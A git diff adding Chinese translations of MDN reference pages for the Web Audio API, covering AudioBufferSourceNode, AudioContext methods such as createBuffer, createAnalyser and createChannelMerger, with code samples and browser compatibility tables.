+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  //just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+   // This gives us the actual ArrayBuffer that contains the data
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i < frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+  // connect the AudioBufferSourceNode to the
+  // destination so we can hear the sound
+  source.connect(audioCtx.destination);
+  // start the source playing
+  source.start();
+}
+ +
+

注意: 音频数据解码的例子请查看 {{domxref("AudioContext.decodeAudioData")}} 页面.

+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-audiobuffersourcenode-interface', 'AudioBufferSourceNode')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}[1]{{CompatGeckoDesktop("23.0")}}{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22
6 {{property_prefix("webkit")}}
detune property{{CompatVersionUnknown}}{{CompatGeckoDesktop("40.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}[1]{{CompatGeckoMobile("25.0")}}1.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
detune property{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}
+
+ +

[1] As of Chrome 42.0 setting AudioBufferSourceNode.buffer more than once is deprecated. A deprecation message is displayed if the buffer attribute is assigned more than once.

+ +

相关页面

+ + diff --git a/files/zh-cn/web/api/audiobuffersourcenode/start/index.html b/files/zh-cn/web/api/audiobuffersourcenode/start/index.html new file mode 100644 index 0000000000..0975fa5c24 --- /dev/null +++ b/files/zh-cn/web/api/audiobuffersourcenode/start/index.html @@ -0,0 +1,84 @@ +--- +title: AudioBufferSourceNode.start() +slug: Web/API/AudioBufferSourceNode/start +translation_of: Web/API/AudioBufferSourceNode/start +--- +

{{ APIRef("Web Audio API") }}

+ +
+

 {{ domxref("AudioBufferSourceNode") }} 接口的start()方法用于计划对缓冲区中包含的音频数据的回放,或者立即开始回放。

+
+ +

语法

+ +
AudioBufferSourceNode.start([when][, offset][, duration]);
+
+ +

参数

+ +
+
when {{optional_inline}}
+
The time声音开始播放的时间,单位是秒,与 {{domxref("AudioContext")}}使用相同的时间坐标系统. 如果 when 小于 ({{domxref("AudioContext.currentTime")}}, 或者是0,声音立即被播放。 默认值是0。
+
offset {{optional_inline}}
+
An offset, specified as the number of seconds in the same time coordinate system as the AudioContext, to the time within the audio buffer that playback should begin. For example, to start playback halfway through a 10-second audio clip, offset should be 5. The default value, 0, will begin playback at the beginning of the audio buffer, and offsets past the end of the audio which will be played (based on the audio buffer's {{domxref("AudioBuffer.duration", "duration")}} and/or the {{domxref("AudioBufferSourceNode.loopEnd", "loopEnd")}} property) are silently clamped to the maximum value allowed. The computation of the offset into the sound is performed using the sound buffer's natural sample rate, rather than the current playback rate, so even if the sound is playing at twice its normal speed, the midway point through a 10-second audio buffer is still 5.
+
duration {{optional_inline}}
+
将要播放的声音的持续时间,指定单位为秒。如果这个参数没有被指定,声音播放到自然结束或者使用{{domxref("AudioScheduledSourceNode.stop", "stop()")}} 方法结束。使用这个参数的功能与调用 start(when, offset) 和调用 stop(when+duration)完全相同。
+
+ +

返回值

+ +

{{jsxref("undefined")}}.

+ +

异常

+ +
+
TypeError
+
A negative value was specified for one or more of the three time parameters. Please don't attempt to tamper with the laws of temporal physics.
+
InvalidStateError
+
start() 已经被调用。在一个AudioBufferSourceNode的生命周期内只能调用一次这个函数。
+
+ +

例子

+ +

The most simple example just starts the audio buffer playing from the beginning — you don't need to specify any parameters in this case:

+ +
source.start();
+ +

The following more complex example will, 1 second from now, start playing 10 seconds worth of sound starting 3 seconds into the audio buffer.

+ +
source.start(audioCtx.currentTime + 1,3,10);
+ +
+

For a more complete example showing start() in use, check out our {{domxref("AudioContext.decodeAudioData()")}} example, You can also run the code example live, or view the source.

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioBufferSourceNode-start-void-double-when-double-offset-double-duration', 'start()')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.AudioBufferSourceNode.start")}}

+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audiocontext/audiocontext/index.html b/files/zh-cn/web/api/audiocontext/audiocontext/index.html new file mode 100644 index 0000000000..a7f5a96d1f --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/audiocontext/index.html @@ -0,0 +1,99 @@ +--- +title: AudioContext() +slug: Web/API/AudioContext/AudioContext +tags: + - 媒体 + - 音频 +translation_of: Web/API/AudioContext/AudioContext +--- +

{{APIRef("Web Audio API")}}{{SeeCompatTable}}

+ +

AudioContext() 构造方法创建了一个新的 {{domxref("AudioContext")}} 对象 它代表了一个由音频模块链接而成的音频处理图, 每一个模块由 {{domxref("AudioNode")}} 表示.

+ +

语法

+ +
var audioContext = new AudioContext(options)
+ +

参数

+ +
+
options {{optional_inline}}
+
Options 如下所示: +
    +
  • latencyHint: 这个参数表示了重放的类型, 参数是播放效果和资源消耗的一种权衡。可接受的值有 "balanced", "interactive" 和"playback",默认值为 "interactive"。意思是 "平衡音频输出延迟和资源消耗", "提供最小的音频输出延迟最好没有干扰"和 "对比音频输出延迟,优先重放不被中断"。我们也可以用一个双精度的值来定义一个秒级的延迟数值做到更精确的控制。
  • +
+
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态说明
{{SpecName('Web Audio API','#AudioContext','AudioContext()')}}{{Spec2('Web Audio API')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(55.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(42)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(55.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOperaMobile(42)}}{{CompatUnknown}}{{CompatChrome(55.0)}}
+
diff --git a/files/zh-cn/web/api/audiocontext/baselatency/index.html b/files/zh-cn/web/api/audiocontext/baselatency/index.html new file mode 100644 index 0000000000..219fc42429 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/baselatency/index.html @@ -0,0 +1,54 @@ +--- +title: AudioContext.baseLatency +slug: Web/API/AudioContext/baseLatency +translation_of: Web/API/AudioContext/baseLatency +--- +

{{SeeCompatTable}}{{APIRef("Web Audio API")}}

+ +

The baseLatency read-only property of the {{domxref("AudioContext")}} interface returns a double that represents the number of seconds of processing latency incurred by the AudioContext passing the audio from the {{domxref("AudioDestinationNode")}} to the audio subsystem.

+ +

You can request a certain latency during {{domxref("AudioContext.AudioContext()", "construction time", "", "true")}} with the latencyHint option but the browser may ignore the option.

+ +

Syntax

+ +
var baseLatency = audioCtx.baseLatency;
+ +

Value

+ +

A double representing the base latency in seconds.

+ +

Example

+ +
//default latency ("interactive")
+const audioCtx1 = new AudioContext();
+console.log(audioCtx1.baseLatency);//0.01
+
+//higher latency ("playback")
+const audioCtx2 = new AudioContext({ latencyHint: 'playback' });
+console.log(audioCtx2.baseLatency);//0.02
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API','#dom-audiocontext-baselatency','baseLatency')}}{{Spec2('Web Audio API')}}Initial definition.
+ +

Browser Compatibility

+ +
+ + +

{{Compat("api.AudioContext.baseLatency")}}

+
diff --git a/files/zh-cn/web/api/audiocontext/close/index.html b/files/zh-cn/web/api/audiocontext/close/index.html new file mode 100644 index 0000000000..68a2198776 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/close/index.html @@ -0,0 +1,115 @@ +--- +title: AudioContext.close() +slug: Web/API/AudioContext/close +translation_of: Web/API/AudioContext/close +--- +

{{ APIRef("Web Audio API") }}

+ +

{{ domxref("AudioContext") }}的close()方法可以关闭audio context,同时释放占用的所有系统资源。

+ +

关闭的context不能用来创建新节点,但可以解码音频数据,创建buffer等等

+ +

该函数不会自动释放所有用AudioContext创建的对象,除非其他引用也都已经解除了。但是,它会强制释放所有可能阻止其它AudioContexts被创建或使用的系统音频资源。挂起audio context中音频时间的进度,并停止对音频数据的处理。所有的AudioContext创建/阻塞资源都被释放后,返回的{{jsxref("Promise")}}才会被释放。如果在一个{{domxref("OfflineAudioContext")}}上调用该方法,则会抛出INVALID_STATE_ERR 异常。

+ +

语法

+ +
var audioCtx = new AudioContext();
+audioCtx.close().then(function() { ... });
+
+ +

返回值

+ +

一个 resolve  void值得 {{jsxref("Promise")}}。 

+ +

例子

+ +

下面这段代码是AudioContext states demo (直接运行)中的,点击停止按钮调用close()。promise释放后,回到初始状态。

+ +
stopBtn.onclick = function() {
+  audioCtx.close().then(function() {
+    startBtn.removeAttribute('disabled');
+    susresBtn.setAttribute('disabled','disabled');
+    stopBtn.setAttribute('disabled','disabled');
+  });
+}
+
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Web Audio API', '#widl-AudioContext-close-Promise-void', 'close()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(43.0)}}{{CompatGeckoDesktop(40.0)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatNo}}
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/audiocontext/createanalyser/index.html b/files/zh-cn/web/api/audiocontext/createanalyser/index.html new file mode 100644 index 0000000000..2d00a8a100 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/createanalyser/index.html @@ -0,0 +1,154 @@ +--- +title: AudioContext.createAnalyser() +slug: Web/API/AudioContext/createAnalyser +translation_of: Web/API/BaseAudioContext/createAnalyser +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }}的createAnalyser()方法能创建一个{{ domxref("AnalyserNode") }},可以用来获取音频时间和频率数据,以及实现数据可视化。

+
+ +
+

注意:关于该节点的更多信息,请查看{{domxref("AnalyserNode")}}

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var analyser = audioCtx.createAnalyser();
+ +

返回值

+ +

{{domxref("AnalyserNode")}}对象

+ +

例子

+ +

下面的例子展示了AudioContext创建分析器节点的基本用法,然后用requestAnimationFrame()来反复获取时域数据,并绘制出当前音频输入的“示波器风格”输出。更多完整例子请查看Voice-change-O-matic demo (中app.js的128–205行代码)

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+  ...
+
+analyser.fftSize = 2048;
+var bufferLength = analyser.fftSize;
+var dataArray = new Uint8Array(bufferLength);
+analyser.getByteTimeDomainData(dataArray);
+
+// draw an oscilloscope of the current audio source
+
+function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray);
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i < bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createAnalyser-AnalyserNode', 'createAnalyser()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

另见

+ + diff --git a/files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html b/files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html new file mode 100644 index 0000000000..fa5884ad71 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html @@ -0,0 +1,139 @@ +--- +title: AudioContext.createBiquadFilter() +slug: Web/API/AudioContext/createBiquadFilter +tags: + - API + - EQ + - Web Audio API + - 参考 + - 方法 + - 滤波器 +translation_of: Web/API/BaseAudioContext/createBiquadFilter +--- +

{{ APIRef("Web Audio API") }}

+ +
+

{{ domxref("AudioContext") }} 的createBiquadFilter() 方法创建了一个  {{ domxref("BiquadFilterNode") }}, 它提供了一个可以指定多个不同的一般滤波器类型的双二阶滤波器。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var biquadFilter = audioCtx.createBiquadFilter();
+ +

返回

+ +

一个 {{domxref("BiquadFilterNode")}}.

+ +

示例

+ +

这个例子展示了一个利用AudioContext 创建四项滤波器节点( Biquad filter node)的例子。想要查看完整工作的示例,请查看我们的For voice-change-o-matic 样例 (也可以查看  源码 ).

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+
+//set up the different audio nodes we will use for the app
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+var convolver = audioCtx.createConvolver();
+
+// connect the nodes together
+
+source = audioCtx.createMediaStreamSource(stream);
+source.connect(analyser);
+analyser.connect(distortion);
+distortion.connect(biquadFilter);
+biquadFilter.connect(convolver);
+convolver.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+// Manipulate the Biquad filter
+
+biquadFilter.type = "lowshelf";
+biquadFilter.frequency.value = 1000;
+biquadFilter.gain.value = 25;
+ +

规格

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBiquadFilter-BiquadFilterNode', 'createBiquadFilter()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
+ 22
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

 

+ +

相关

+ + diff --git a/files/zh-cn/web/api/audiocontext/createbuffer/index.html b/files/zh-cn/web/api/audiocontext/createbuffer/index.html new file mode 100644 index 0000000000..2d29213737 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/createbuffer/index.html @@ -0,0 +1,181 @@ +--- +title: AudioContext.createBuffer() +slug: Web/API/AudioContext/createBuffer +tags: + - 创建音频片段 + - 接口 + - 方法 + - 音频环境 +translation_of: Web/API/BaseAudioContext/createBuffer +--- +

音频环境{{ domxref("AudioContext") }} 接口的 createBuffer() 方法用于新建一个空白的 {{ domxref("AudioBuffer") }} 对象,以便用于填充数据,通过 {{ domxref("AudioBufferSourceNode") }} 播放。

+ +

更多关于音频片段(Audio Buffer)的细节,请参考{{ domxref("AudioBuffer") }}页面。

+ +
+

注意: createBuffer() 曾被用于接收压缩后的音频数据,并返回被解码的音频,但是这项功能现在已经被移除,因为所有的解码工作应当在主线程中被完成,createBuffer() 阻塞了其他代码的执行。异步方法 decodeAudioData() 能够完成相同的工作 —— 传入一个压缩过的音频(如MP3格式的文件),并直接返回一个可以通过 {{ domxref("AudioBufferSourceNode") }} 播放的 {{ domxref("AudioBuffer") }} 。因此播放诸如MP3等格式的压缩音频时,你应当使用 decodeAudioData() 方法。

+
+ +

语法

+ +
AudioContext.createBuffer(Number numOfChannels, Number length, Number sampleRate);
+ +

参数

+ +
+

注意:如果想深入了解 audio buffers 是如何工作的、这些参数的具体含义,请阅读这篇简短的指南: Audio buffers: frames, samples and channels(英)。

+
+ +
+
numOfChannels
+
一个定义了 buffer 中包含的声频通道数量的整数。
+ 一个标准的实现必须包含至少32个声频通道。
+
 
+
length
+
一个代表 buffer 中的样本帧数的整数。
+
sampleRate
+
线性音频样本的采样率,即每一秒包含的关键帧的个数。实现过程中必须支持 22050~96000的采样率。
+
+ +

 

+ +

返回值

+ +

一个 {{domxref("AudioBuffer")}}。

+ +

示例

+ +

首先,我们将从几个浅显易懂的示例入手,来解释如何使用这些参数:

+ +
var audioCtx = new AudioContext();
+var buffer = audioCtx.createBuffer(2, 22050, 44100);
+ +

如果你这样调用,你将会得到一个立体声(两个声道)的音频片段(Buffer),当它在一个频率为44100赫兹(这是目前大部分声卡处理声音的频率)的音频环境({{ domxref("AudioContext") }})中播放的时候,会持续0.5秒:22050帧 / 44100赫兹 = 0.5 秒。

+ +
var audioCtx = new AudioContext();
+var buffer = audioCtx.createBuffer(1, 22050, 22050);
+ +

如果你这样调用,你将会得到一个单声道的音频片段(Buffer),当它在一个频率为44100赫兹的音频环境({{ domxref("AudioContext") }})中播放的时候,将会被自动按照44100赫兹*重采样*(因此也会转化为44100赫兹的片段),并持续1秒:44100帧 / 44100赫兹 = 1秒。

+ +
+

注意: 音频重采样与图片的缩放非常类似:比如你有一个16 x 16的图像,但是你想把它填充到一个32 x 32大小的区域,你就要对它进行缩放(重采样)。得到的结果会是一个叫低品质的(图像会模糊或者有锯齿形的边缘,这取决于缩放采用的算法),但它却是能将原图形缩放,并且缩放后的图像占用空间比相同大小的普通图像要小。重新采样的音频道理相同——你会介于一些空间,但事实上你无法产出高频率的声音(高音区)。

+
+ +

现在让我们来看一个更加复杂的示例,我们将创建一个时长2秒的音频片段,并用白噪声填充它,之后通过一个 音频片段源节点({{ domxref("AudioBufferSourceNode") }}) 播放。代码中的注释应该能充分解释发生了什么。你可以 在线演示 ,或者 查看源代码

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// 立体声
+var channels = 2;
+// 创建一个 采样率与音频环境(AudioContext)相同的 时长2秒的 音频片段。
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // 使用白噪声填充;
+  // 就是 -1.0 到 1.0 之间的随机数
+  for (var channel = 0; channel < channels; channel++) {
+   // 这允许我们读取实际音频片段(AudioBuffer)中包含的数据
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i < frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // 获取一个 音频片段源节点(AudioBufferSourceNode)。
+  // 当我们想播放音频片段时,我们会用到这个源节点。
+  var source = audioCtx.createBufferSource();
+  // 把刚才生成的片段加入到 音频片段源节点(AudioBufferSourceNode)。
+  source.buffer = myArrayBuffer;
+  // 把 音频片段源节点(AudioBufferSourceNode) 连接到
+  // 音频环境(AudioContext) 的终节点,这样我们就能听到声音了。
+  source.connect(audioCtx.destination);
+  // 开始播放声源
+  source.start();
+}
+ +

规范

+ + + + + + + + + + + + + + +
规范现状备注
{{SpecName('Web Audio API', '#widl-AudioContext-createBuffer-AudioBuffer-unsigned-long-numberOfChannels-unsigned-long-length-float-sampleRate', 'createBuffer()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
+ 22
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/audiocontext/createbuffersource/index.html b/files/zh-cn/web/api/audiocontext/createbuffersource/index.html new file mode 100644 index 0000000000..5244513312 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/createbuffersource/index.html @@ -0,0 +1,150 @@ +--- +title: AudioContext.createBufferSource() +slug: Web/API/AudioContext/createBufferSource +tags: + - API + - 音源 + - 音频源 + - 音频节点 +translation_of: Web/API/BaseAudioContext/createBufferSource +--- +

{{ APIRef("Web Audio API") }}

+ +
+

createBufferSource() 方法用于创建一个新的{{ domxref("AudioBufferSourceNode") }}接口, 该接口可以通过{{ domxref("AudioBuffer") }} 对象来播放音频数据. {{ domxref("AudioBuffer") }}对象可以通过{{domxref("AudioContext.createBuffer")}} 来创建或者通过 {{domxref("AudioContext.decodeAudioData")}}成功解码音轨后获取.

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var source = audioCtx.createBufferSource();
+ +

返回

+ +

一个{{domxref("AudioBufferSourceNode")}}对象.

+ +

例子

+ +

在这个例子中, 我们将会创建一个2秒的缓冲器,并用白噪音填充它, 然后通过{{ domxref("AudioBufferSourceNode") }}来播放它. 

+ +
+

Note: You can also run the code live, or view the source.

+
+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
+var button = document.querySelector('button');
+var pre = document.querySelector('pre');
+var myScript = document.querySelector('script');
+
+pre.innerHTML = myScript.innerHTML;
+
+// Stereo
+var channels = 2;
+// Create an empty two second stereo buffer at the
+// sample rate of the AudioContext
+var frameCount = audioCtx.sampleRate * 2.0;
+
+var myArrayBuffer = audioCtx.createBuffer(2, frameCount, audioCtx.sampleRate);
+
+button.onclick = function() {
+  // Fill the buffer with white noise;
+  //just random values between -1.0 and 1.0
+  for (var channel = 0; channel < channels; channel++) {
+   // This gives us the actual ArrayBuffer that contains the data
+   var nowBuffering = myArrayBuffer.getChannelData(channel);
+   for (var i = 0; i < frameCount; i++) {
+     // Math.random() is in [0; 1.0]
+     // audio needs to be in [-1.0; 1.0]
+     nowBuffering[i] = Math.random() * 2 - 1;
+   }
+  }
+
+  // Get an AudioBufferSourceNode.
+  // This is the AudioNode to use when we want to play an AudioBuffer
+  var source = audioCtx.createBufferSource();
+  // set the buffer in the AudioBufferSourceNode
+  source.buffer = myArrayBuffer;
+  // connect the AudioBufferSourceNode to the
+  // destination so we can hear the sound
+  source.connect(audioCtx.destination);
+  // start the source playing
+  source.start();
+}
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBufferSource-AudioBufferSourceNode', 'createBufferSource()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器支持

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/audiocontext/createchannelmerger/index.html b/files/zh-cn/web/api/audiocontext/createchannelmerger/index.html new file mode 100644 index 0000000000..281dcddfe7 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/createchannelmerger/index.html @@ -0,0 +1,143 @@ +--- +title: AudioContext.createChannelMerger() +slug: Web/API/AudioContext/createChannelMerger +tags: + - API + - Audio + - AudioContext + - Audio_Chinese +translation_of: Web/API/BaseAudioContext/createChannelMerger +--- +

{{ APIRef("Web Audio API") }}

+ +
+

AudioContext.createChannelMerger()方法,会创建一个ChannelMergerNode,后者可以把多个音频流的通道整合到一个音频流。

+
+ +

语法

+ +
var audioCtx = new AudioContext();
+var merger = audioCtx.createChannelMerger(2);
+ +

参数

+ +
+
numberOfInputs
+
通道输入音频流的数量,输出流将包含这个数量的通道。默认值6。
+
+ +

返回值

+ +

一个 {{domxref("ChannelMergerNode")}}.

+ +

(举个)栗(例)子

+ +

下面的例子展示了如何分离立体音轨(就是一段音乐),处理使左右声道不同。使用的时候,需要指定AudioNode.connect(AudioNode)方法的第二个和第三个参数,分别用来指定通道链接来源的索引和输出的索引。

+ +
var ac = new AudioContext();
+ac.decodeAudioData(someStereoBuffer, function(data) {
+ var source = ac.createBufferSource();
+ source.buffer = data;
+ var splitter = ac.createChannelSplitter(2);
+ source.connect(splitter);
+ var merger = ac.createChannelMerger(2);
+
+ // Reduce the volume of the left channel only
+ var gainNode = ac.createGain();
+ gainNode.gain.value = 0.5;
+ splitter.connect(gainNode, 0);
+
+ // Connect the splitter back to the second input of the merger: we
+ // effectively swap the channels, here, reversing the stereo image.
+ gainNode.connect(merger, 0, 1);
+ splitter.connect(merger, 1, 0);
+
+ var dest = ac.createMediaStreamDestination();
+
+ // Because we have used a ChannelMergerNode, we now have a stereo
+ // MediaStream we can use to pipe the Web Audio graph to WebRTC,
+ // MediaRecorder, etc.
+ merger.connect(dest);
+});
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createChannelMerger-ChannelMergerNode-unsigned-long-numberOfInputs', 'createChannelMerger()')}}{{Spec2('Web Audio API')}} 
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)
6.0{{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
+
+ +

相关页面

+ + diff --git a/files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html b/files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html new file mode 100644 index 0000000000..f46f5be2c5 --- /dev/null +++ b/files/zh-cn/web/api/audiocontext/createchannelsplitter/index.html @@ -0,0 +1,138 @@ +--- +title: AudioContext.createChannelSplitter() +slug: Web/API/AudioContext/createChannelSplitter +translation_of: Web/API/BaseAudioContext/createChannelSplitter +--- +

{{ APIRef("Web Audio API") }}

+ +
+

